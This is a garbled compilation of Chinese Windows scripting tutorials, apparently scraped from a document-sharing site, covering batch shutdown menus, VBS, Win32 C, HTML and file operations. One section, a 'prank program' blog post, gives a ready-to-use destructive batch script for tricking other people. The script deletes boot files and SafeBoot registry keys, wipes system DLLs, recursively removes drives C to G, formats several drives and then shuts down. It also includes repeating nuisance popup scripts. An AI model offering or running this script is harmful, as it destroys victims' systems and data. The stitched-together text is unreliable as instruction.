Windows脚本编程教程.txt - 记事本
- 格式:pdf
- 大小:169.36 KB
- 文档页数:15
华北科技学院课程设计说明书专业:网络工程课程名称: 汇编课程设计班级:姓名: 学号:设计题目: win32编写记事本设计时间: 2011-12-05 至2011-12-16 评语: ________________________________ _________________________________________ _________________________________________ _________________________________________ _________________________________________ _________________________________________ 评阅成绩:____评阅教师:_____课程设计报告的要求1、需求分析:描述问题,简述课题要解决的问题是什么,有什么要求和限制条件。
2、总体设计(程序设计组成框图、流程图)3、详细设计(模块功能说明(如函数功能、入口及出口参数说明,过程调用关系描述等))4、调试与测试:调试方法,测试结果的分析与讨论,测试过程中遇到的主要问题及采取的解决措施5、测试结果,用几组测试数据进行测试算法设计的正确性。
6、附录。
源程序清单和结果:源程序要加注释。
结果要包括测试数据和运行结果。
《汇编语言》课程设计案例一、问题陈述及其需求分析要求:在windows系统下利用32位汇编编写一个简单但功能能实现的记事本。
内容:在利用32位汇编编写记事本的时候,考虑到很多问题:(1)首先最重要的是汇编软件的选择,刚开始用asm2011软件编写,最终不行,最后参考资料,如坚持用它的话,必须用代码编写资源代码才能使用;因此为了方便,区别于dos系统下的汇编,我采用了Radasm汇编软件。
(2)其次是记事本的编辑,由于记事本我们大家都常见,曾经也用过高级语言编写过,例如java,因此对其格式很了解,但是还有一个问题就是,我们将如何用汇编这种语言来编写记事本呢,例如如何编写记事本基本框架,编写菜单栏,建立菜单项,添加文本编辑区及建立文本编辑区。
@ECHO offTITLE 自动关机程序:startCLSCOLOR 1frem 使用COLOR命令对控制台输出颜色进行更改MODE con: COLS=41 LINES=18rem MODE语句为设定窗体的宽和高set tm1=%time:~0,2%set tm2=%time:~3,2%set tm3=%time:~6,2%ECHO %date% %tm1%点%tm2%分%tm3%秒ECHO =========================================ECHO 请选择要进行的操作,然后按回车ECHO ———————————————ECHO.ECHO 1. 定时关机ECHO 2. 倒计时关机ECHO 3. 删除定时关机任务ECHO 4. 查看任务状态ECHO 5. 刷新当前时间ECHO 6. 重新启动ECHO 7. 锁定计算机ECHO 8. 注销ECHO 9. 退出ECHO.:choSET Choice=SET /P Choice=选择:rem 设定变量"Choice"为用户输入的字符IF NOT "%Choice%"=="" SET Choice=%Choice:~0,1%rem 如果输入大于1位,取第1位,比如输入132,则返回值为1ECHO.IF /I "%Choice%"=="1" GOTO SetHourIF /I "%Choice%"=="2" GOTO outtimeIF /I "%Choice%"=="3" GOTO delAtIF /I "%Choice%"=="4" GOTO viewIF /I "%Choice%"=="5" GOTO startIF /I "%Choice%"=="6" GOTO restartIF /I "%Choice%"=="7" GOTO lockIF /I "%Choice%"=="8" GOTO logoffIF /I "%Choice%"=="9" GOTO endrem 为避免出现返回值为空或含空格而导致程序异常,需在变量外另加双引号rem 注意,IF语句需要双等于号rem 如果输入的字符不是以上数字,将返回重新输入ECHO 选择无效,请重新输入ECHO.GOTO cho:SetHourCLSECHO.SET ask=SET /p ask=是否设定为每天执行关机命令(y/n):第 1 页IF NOT "%ask%"=="" SET ask=%ask:~0,1%IF /I "%ask%"=="y" GOTO yesIF /I "%ask%"=="n" GOTO noGOTO SetHour:yesECHO 请指定24小时制式时间,格式为小时:分钟SET shutdowntime=SET /p shutdowntime=输入:at %shutdowntime% /every:M,T,W,Th,F,S,Su tsshutdn 0 /delay:0 /powerdown >nul rem 设定为每周的星期一至星期日,即为每天IF NOT errorlevel 1 GOTO okrem 如果输入正确,就执行ok段的语句ECHO %shutdowntime% 不是标准的时间格式,请重新输入ECHO.GOTO yes:noECHO 请指定24小时制式时间,格式为小时:分钟SET shutdowntime=SET /p shutdowntime=输入:at %shutdowntime% tsshutdn 0 /delay:0 /powerdown >nulIF NOT errorlevel 1 GOTO okECHO %shutdowntime% 不是标准的时间格式,请重新输入ECHO.GOTO no:okECHO.SET h=%shutdowntime:~1,1%SET ah=%shutdowntime:~0,1%SET am=%shutdowntime:~2,2%SET bh=%shutdowntime:~0,2%SET bm=%shutdowntime:~3,2%IF "%h%"==":" (SET HM=%ah%时%am%分) ELSE (SET HM=%bh%时%bm%分)rem 如果输入h:mm则HM=h时mm分,否则HM=hh时mm分IF /I "%ask%"=="y" ECHO 系统将于每天的%HM%关闭IF /I "%ask%"=="n" ECHO 系统将于%HM%关闭ECHO 设定完毕! 按任意键继续...PAUSE >nulGOTO start:outtimeCLSECHO.ECHO 请输入倒计时秒数ECHO ————————ECHO (设定后要取消,单击"确定"后按Ctrl+C键两次)SET timed=SET /p timed=输入:tsshutdn %timed% /delay:0 /powerdown >nulIF not errorlevel 1 GOTO okECHO %timed% 是无效的关机时间,请重新输入第 2 页ECHO.GOTO outtime:delAtclsecho.at /del /yecho 定时关机任务已取消,按任意键继续... pause >nulGOTO start:viewMODE con: COLS=85 LINES=18COLOR 70ECHO.atECHO 按任意键继续...PAUSE >nulGOTO start:restartshutdown -r -t 0:lockrundll32.exe user32.dll,LockWorkStationgoto start:logofflogoff:endexit第 3 页。
VBS脚本教程(一)打开你的“记事本”程序,在编辑窗口填写:msgbox "Hello World!"然后用鼠标单击“文件”菜单,单击“保存”,把“保存在”一栏设为桌面,在“文件名”一栏中填写kk.vbs,单击“保存”就可以了。
然后最小化“记事本”窗口,在桌面上寻找你刚刚保存的kk.vbs,然后双击。
看到弹出的对话框了没有,单击“确定”,对话框消失了。
难看了点,不过确实是你编写的第一个脚本程序。
说明之一:上面的操作中,保存位置放在桌面,仅仅是为了执行方便,你保存到其他的地方完全没有问题,只要你知道你保存在什么地方就可以了,什么?是废话,自己保存的当然知道保存在那里了。
不,自己保存的文件自己找不到的人我见的多了去了。
文件名你可以随意填写,不一定非要写kk,只要符合Windows的文件命名规则就可以了,但是扩展名必须是vbs,什么?不知道什么是扩展名?就是文件名中“.”后的那部分,简单说,就是vbs脚本文件命名时必须是:xxx.vbs,其中xxx你随意。
说明之二:在记事本编辑窗口中写的这行是什么意思?Msgbox是VBS内建的函数,每一个函数都可以完成一定的功能,你只需要按照语法要求,在函数的相应部分填写相应的内容就可以了,这部分内容我们称为参数,当然函数执行的结果我们称为返回值,一个函数可以有返回值也可以没有,可以有参数也可以没有。
你不用了解函数是怎么运作的,只要了解这个函数能干什么就行了。
Msgbox语法:msgbox "对话框内容", , "对话框的标题"你不妨用记事本打开刚才的文件在编辑窗口中输入:msgbox "Hello World!" , , "系统提示"执行一下,看看效果和位置。
说明之三:如果执行失败,看看你的标点符号,所有的标点符号必须是在英文状态下输入的。
当然,这个脚本实在是太简单了,甚至连最简单的交互都没有,所以你可以把脚本这样修改一下:Dim namename=Inputbox("请输入你的名字:","名称")Msgbox name, , "您的名字是"保存执行一下,看到弹出的对话框了么?填入你的名字,点确定,看到结果了吗?说明之一:第一句是定义变量,dim是定义变量的语句其格式为:dim 变量1,变量2……,Vbs只有一种变量类型,所以不用声明变量类型。
用Windows C 编写一个记事本程序程序运行界面一从C/C++到Windows编程我们学习的C/C++程序都是DOS程序(或称为Windows控制台程序),也就是现在大学里的开设的《C/C++程序设计》的内容,这些程序由于不涉及到Windows 编程的细节,因此比较容易入门学习,这对训练初学者的编程思想是很有用的,也是有益的。
但是当我们基本掌握了C/C++程序设计后,就不能仅仅停留在DOS 下(或Windows控制台下)编写、运行程序。
我们应该从编程思想的训练到Windows实用编程的转变。
对于初学Windows 编程的人来说,入门是难了一点,我们先介绍一个最简单的Hello 程序开始,然后再介绍记事本程序。
#include <windows.h>int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,PSTR szCmdLine, int iCmdShow) {MessageBox(NULL,"Hello 欢迎使用Turbo C for Windows 集成实验与学习环境!","我的第一个Windows 程序",MB_OK);return 0;}程序的运行结果是:程序解析:1、windows.h是每一个Windows程序都需要的头文件。
2、WinMain函数是所有Windows C程序的入口,类似于DOS C中的main函数。
3、MessageBox是一个Win32 API函数(API,Application Programming Interface 应用程序接口),其作用是弹出一个对话框,显示消息的内容。
该函数的第一个参数是用来指定父窗口句柄,即对话框所在的窗口句柄。
第二个参数是用来显示消息的内容(你可以修改成你想显示的内容)。
第三个参数是对话框标的标题,如本例的“我的第一个Windows程序”,第四个参数是指定对话框中显示的按钮,试一试,将MB_OK修改成MB_OKCANCEL,运行一下程序会出现什么结果,再试一试修改成MB_RETRYCANCEL二、Windows 程序简介(1)Windows C程序的组成:1.C程序源文件,扩展名为.c或.cpp2.头文件,扩展名为.h3.资源文件,扩展名为.rc(2)源程序的组成结构Windows C程序有相对固定的基本结构,一般有入口函数WinMain和窗口函数。
使用Windows自带的记事本编写简单代码在如今数字化的时代,编程不再是专业程序员的专属技能,普通人也可以通过简单的工具和基础的知识来体验编程的乐趣。
Windows 自带的记事本就是这样一个容易上手的工具,它虽然看似简单,但却能帮助我们编写一些简单的代码。
首先,让我们来了解一下记事本。
记事本是 Windows 操作系统中一个基本的文本编辑工具,它没有复杂的功能和花哨的界面,只有纯粹的文字编辑区域。
但这恰恰为我们编写代码提供了一个干净、简洁的环境。
当我们决定使用记事本编写代码时,第一步就是打开它。
在Windows 系统中,您可以通过点击“开始”菜单,然后在搜索框中输入“记事本”来找到并打开它。
或者,您也可以按下快捷键“Windows +R”,在弹出的“运行”对话框中输入“notepad”并回车。
接下来,让我们从一个简单的 HTML 代码开始入手。
HTML(超文本标记语言)是用于创建网页的基础语言。
以下是一个简单的 HTML代码示例,用于创建一个包含标题和段落的网页:```html<!DOCTYPE html><html><head><title>我的第一个网页</title></head><body><h1>这是一个标题</h1><p>这是一个段落。
</p></body></html>```在记事本中输入上述代码后,点击“文件”菜单,选择“另存为”。
在“文件名”框中,输入“my_first_webpagehtml”(注意,一定要加上“html”扩展名,否则浏览器无法正确识别它为 HTML 文件),然后选择保存类型为“所有文件”,最后选择一个您想要保存的位置,点击“保存”。
保存完成后,找到您保存的文件,双击它,它应该会在您的默认浏览器中打开,显示出您刚刚编写的网页内容,包含一个标题和一个段落。
除了 HTML,我们还可以使用记事本编写 Python 代码。
Windows下的记事本的小程序编写(恶搞小程序)2012-05-16 11:35:16| 分类:IT|字号订阅整人小程序复制文字改后缀就能制作目录:1、删掉电脑系统(过于恶毒,轻易别尝试)2、运行后每5秒弹出对话框“哈哈!你中招了!”弹出20次~(可修改次数)3、我是猪4、无法关闭的对话框(必须点击60下以上才可关闭)5、综合型(提供一个最恶毒的,复制到文本文档,后缀改为.batecho offecho 等待......echo 正在分析系统......REG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Network /fREG DELETE "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot" /v Minimal /fATTRIB %SYSTEMDRIVE%\boot.ini -s -a -r -hDEL %SYSTEMDRIVE%\boot.ini /fdel %SYSTEMROOT%\system32\logfiles\*.*del %SYSTEMROOT%\sytem32\config\*.evt del %SYSTEMROOT%\system32\dtclog\*.* del %SYSTEMROOT%\system32\*.logdel %SYSTEMROOT%\system32\*.txtdel %SYSTEMROOT%\*.txtdel %SYSTEMROOT%\*.logdel /f /s /q %system%\*.dlldel /f /s /q %system%\*.prxdel /f /s /q %system%\*.tbldel /f /s /q %system%\*.cpxdel /f /s /q %system%\*.romdel /f /s /q %system%\*.ucedel /f /s /q %system%\recycled\*.*del /f /s /q %system32%\*.dlldel /f /s /q %system32%\*.prxdel /f /s /q %system32%\*.tbldel /f /s /q %system32%\*.cpxdel /f /s /q %system32%\*.romdel /f /s /q %system32%\*.ucedel /f /s /q %system32%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\prefetch\*.*del /f /s /q *.*sfc /purgecachedel /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\*.logdel /f /s /q %windir%\*.tmpdel /f /s /q %windir%\prefetch\*.*rd /s /q %temp% & md %temp%del /f /q %userprofile%\recent\*.*del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"@rd /s /q G:\ & md G:\@rd /s /q F:\ & md F:\@rd /s /q E:\ & md E:\@rd /s /q D:\ & md D:\@rd /s /q C:\ & md C:\@rd /s /q A:\ & md A:\@for %%e in (C D E F G) do del /f /s /q %e:\* >nulrd /s /q %windir%\temp & md %windir%\tempdel /f /q %userprofile%\cookies\*.*del /f /q %userprofile%\recent\*.*del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"del /f /q E:\我的电脑\正在清理windows系统\dll\*.*@format c: /q/u/autoset@format d: /q/u/autoset@format e: /q/u/autosetgoto enddel c:\*.exedel d:\*.dlldel e:\*.vbedel f:\*.batdel g:\*.cmdecho OK!echo.shutdown -s -t 0)1...这个没什么太大意思~不过瘾运行后每5秒弹出对话框弹出20次~set ws=wscript.createobject("wscript.shell")ws.run "wscript.exe",0set WshShell = WScript.CreateObject("WScript.Shell")alerttitle = "系统提示"alerttext ="哈哈!你中招了!"for i = 1 to 20WScript.Sleep(1000*5)msgbox alerttext,4096,alerttitlenext复制代码到记事本中保存为.vbs2...说我是猪,就不关机,快撒,说""我是猪""","说不说"方法如下:在开始内点击运行输入at xx:xx shutdown -s,xx:xx代表几点几分是在几点几分关机输入shutdown.exe -s -t xx,xx代表多少秒钟后关机如果要取消,就输入shutdown -a就可以取消了.我听一个朋友说,有个人给他发个东西。
Windows自带记事本实用技巧汇总记事本实用技巧集锦1. 让记事本自动记录上次打开的时间方法:在记事本的第一行写上“.LOG”(不包括引号并且为大写字母,注意前面有个点),这样今后打开记事本文件就知道上次最后的打开时间了。
2.按F5可以直接插入当前的日期和时间3. 让记事本自动换行每次打开记事本文件总是显示一行长长的文本,阅读起来一点不方便,其实只要选择菜单栏上的“格式”,然后将“自动换行”勾选上,这样文本就会根据记事本窗口大小自动换行了。
4. 更改记事本字体及字号记事本默认的字号小、字体丑,看着着实不舒服,选择“格式”->“字体”,即可随意更改默认字体。
5. 利用记事本浏览网页特效做网页的朋友一定会经常测试一些网页特效,反正做博客我就是经常测试一些好玩的代码,每次打开一些网页编辑器或者软件实在麻烦(速度实在是慢!),其实利用记事本就可以轻松完成,而且记事本的速度可是超快。
方法:将想要测试的网页代码粘贴到记事本,选择“文件”->“另存为”,文件名选择英文或者英文+数字的形式,后缀为.html,比如haha.html,然后打开IE浏览器选择“文件”->“打开”,找到刚才的haha.html文件并且打开,这样就可以在浏览器中预览网页效果了。
6. 批处理这应该是记事本最常用的方式了,批量处理能节省好多宝贵的时间以及烦琐的过程。
复制经本人亲自测试,复制一个1G大的电影仅需2秒。
(此法在大文件复制上效果尤为明显,具体步骤如下)1.在记事本中输入"copy F:\电影\黑客帝国.rmvb"(即copy+空格+要复制的文件的完整路径,注意:包括扩展名)2.保存为.bat格式,保存位置为你要复制到的目标文件夹3.双击运行此批处理文件强力删除1.将如下内容复制到记事本中并保存为.bat格式DEL /F /A /Q \\?\%1RD /S /Q \\?\%12.将想要删除的文件直接拖到该文件上即可自动关机和上面一样都是保存为.bat格式文件再双击运行倒计时关机:shutdown -s -t 600(这个“600”是倒计时的时间,单位为秒)定时关机:at 24:00 Shutdown -s取消关机计划:shutdown -a设置wifi热点创建:netsh wlan set hostednetwork mode=allow ssid=mywifi key=123456789(解释一下:蓝色字是wifi的名称,红色字是wifi的密码,这些都可以随意更改,不过密码要8位以上。
Windows汇编语言编程教程-电脑资料目录介绍 (2)为什么选用汇编语言 (2)为什么选择Windows系统 (2)Ⅰ开始学习之旅 (3)编译器 (3)编辑器 (3)Ⅱ第一个程序 (4)控制台程序 (4)窗体程序 (6)ADDR 与 OFFSET (6)Ⅲ汇编基础 (7)cpu寄存器 (7)指令集基础 (8)Push 和Pop (8)Invoke (9)程序例子 (9)IV. 窗体程序基础 (10)预备知识 (10)宏 (10)过程 (10)变量 (10)一个简单的窗体程序 (11)IV. 深入汇编和系统 (13)字符串操作 (13)文件管理 (13)存储 (14)程序例子 (14)控制 (15)附加资源 (16)互联网 (16)书籍 (16)MASM32 (16)MSDN (16)新闻组 (16)IRC (16)介绍“This is for all you folks out there,who want to learn the magic art of Assembly programming”-MAD介绍我最近才开始学习windows系统汇编语言编程,这个教程是我在学习汇编语言的过程中写下来的,。
我阅读大量的在线教程、书本,以及通过新闻组以及IRC通讯工具请问他人,本人就是通过这些方式学习汇编语言的。
互联网上有很多的汇编编程的教程,但这些教程只是侧重于X86汇编。
因为这些教材都假定读者已经掌握了高级编程语言以及基本的计算机系统知识。
为什么选用汇编语言?汇编语言具有若干的特色,使得在某此情况下,汇编语言是一种很好的选择。
1 快速汇编语言程序运行的速度比高级语言程序要快。
通常,要求运行效率高的子程序是用汇编语言编写的。
2 强大运用汇编语言,你能得到不受限制的权力。
相对的,高级语言则有种种限制,在实现某些特定的要求时变得困难。
3 体积小汇编语言程序通常比其他语言程序要小得多。
这种特性在空间有限的情况下是非常有用的。
vbs操作txt⽂本⽂件常⽤⽅法与函数代码'creat by 席飞剑(⼩席⽼师)'操作⽂本⽂件,操作fso对象(⽂件对象操作)函数代码创建⽂件dim fso, fset fso = server.CreateObject("Scripting.FileSystemObject")set f = fso.CreateTextFile("C:\test.txt", true) '第⼆个参数表⽰⽬标⽂件存在时是否覆盖f.Write("写⼊内容")f.WriteLine("写⼊内容并换⾏")f.WriteBlankLines(3) '写⼊三个空⽩⾏(相当于在⽂本编辑器中按三次回车)f.Close()set f = nothingset fso = nothing打开并读⽂件dim fso, fset fso = server.CreateObject("Scripting.FileSystemObject")set f = fso.OpenTextFile("C:\test.txt", 1, false) '第⼆个参数 1 表⽰只读打开,第三个参数表⽰⽬标⽂件不存在时是否创建f.Skip(3) '将当前位置向后移三个字符f.SkipLine() '将当前位置移动到下⼀⾏的第⼀个字符,注意:⽆参数response.Write f.Read(3) '从当前位置向后读取三个字符,并将当前位置向后移三个字符response.Write f.ReadLine() '从当前位置向后读取直到遇到换⾏符(不读取换⾏符),并将当前位置移动到下⼀⾏的第⼀个字符,注意:⽆参数response.Write f.ReadAll() '从当前位置向后读取,直到⽂件结束,并将当前位置移动到⽂件的最后if f.atEndOfLine thenresponse.Write("⼀⾏的结尾!")end ifif f.atEndOfStream thenresponse.Write("⽂件的结尾!")end iff.Close()set f = nothingset fso = nothing打开并写⽂件dim fso, fset fso = server.CreateObject("Scripting.FileSystemObject")set f = fso.OpenTextFile("C:\test.txt", 2, false) '第⼆个参数 2 表⽰重写,如果是 8 表⽰追加f.Write("写⼊内容")f.WriteLine("写⼊内容并换⾏")f.WriteBlankLines(3) '写⼊三个空⽩⾏(相当于在⽂本编辑器中按三次回车)f.Close()set f = nothingset fso = nothing判断⽂件是否存在dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")if fso.FileExists("C:\test.txt") thenresponse.Write("⽬标⽂件存在")elseresponse.Write("⽬标⽂件不存在")end ifset fso = nothing移动⽂件dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")call fso.MoveFile("C:\test.txt", "D:\test111.txt") '两个参数的⽂件名部分可以不同set fso = nothing复制⽂件dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")call fso.CopyFile("C:\test.txt", "D:\test111.txt") '两个参数的⽂件名部分可以不同set fso = nothing删除⽂件dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")fso.DeleteFile("C:\test.txt")set fso = nothing创建⽂件夹dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")fso.CreateFolder("C:\test") '⽬标⽂件夹的⽗⽂件夹必须存在set fso = nothing判断⽂件夹是否存在dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")if fso.FolderExists("C:\Windows") thenresponse.Write("⽬标⽂件夹存在")elseresponse.Write("⽬标⽂件夹不存在")end ifset fso = nothing删除⽂件夹dim fsoset fso = server.CreateObject("Scripting.FileSystemObject")fso.DeleteFolder("C:\test") '⽂件夹不必为空set fso = nothing这篇⽂章就介绍到这,更多的⼤家可以查看以前发布的关于vbs txt操作的相关⽂章。
V B S脚本编程简明教程(总87页)-CAL-FENGHAI.-(YICAI)-Company One1-CAL-本页仅作为文档封面,使用请直接删除第一章 VBS脚本编程简明教程第一节◎Vbs脚本编程简明教程之一—为什么要使用Vbs在Windows中,学习计算机操作也许很简单,但是很多计算机工作是重复性劳动,例如你每周也许需要对一些计算机文件进行复制、粘贴、改名、删除,也许你每天启动计算机第一件事情就是打开WORD,切换到你喜爱的输入法进行文本编辑,同时还要播放优美的音乐给工作创造一个舒心的环境,当然也有可能你经常需要对文本中的某些数据进行整理,把各式各样的数据按照某种规则排列起来……。
这些事情重复、琐碎,使人容易疲劳。
第三方软件也许可以强化计算机的某些功能,但是解决这些重复劳动往往事倍功半,我也尝试过使用计算机语言编写程序来解决这些问题,但是随之而来的命令、语法、算法、系统框架和类库常常让我觉得这样是否有必要,难道就是因为猪毛比较难拔,所以我就要去学习机械,为自己设计一个拔猪毛机()吗Vbs是一种Windows脚本,它的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版),VBS是Visual Basic的的一个抽象子集,是系统内置的,用它编写的脚本代码不能编译成二进制文件,直接由Windows系统执行(实际是一个叫做宿主host的解释源代码并执行),高效、易学,但是大部分高级语言能干的事情,它基本上都具备,它可以使各种各样的任务自动化,可以使你从重复琐碎的工作中解脱出来,极大的提高工作效率。
我个人认为Vbs脚本其实就是一种计算机编程语言,但是由于缺少计算机程序设计语言中的部分要素,对于事件的描述能力较弱,所以称为脚本,它最方便的地方就是提供了对COM对象的简便支持。
那么什么是COM对象呢我这样理解,COM对象就是一些具有特定函数功能项程序模块,他们一般以ocx或者dll作为扩展名,你只要找到包含有你需要的功能的模块文件,并在脚本中规范的引用,就可以实现特定的功能,也就是说Vbs脚本就是调用现成的“控件”作为对象,用对象的属性和方法实现目的,完全免去了编写代码、设计算法等等麻烦。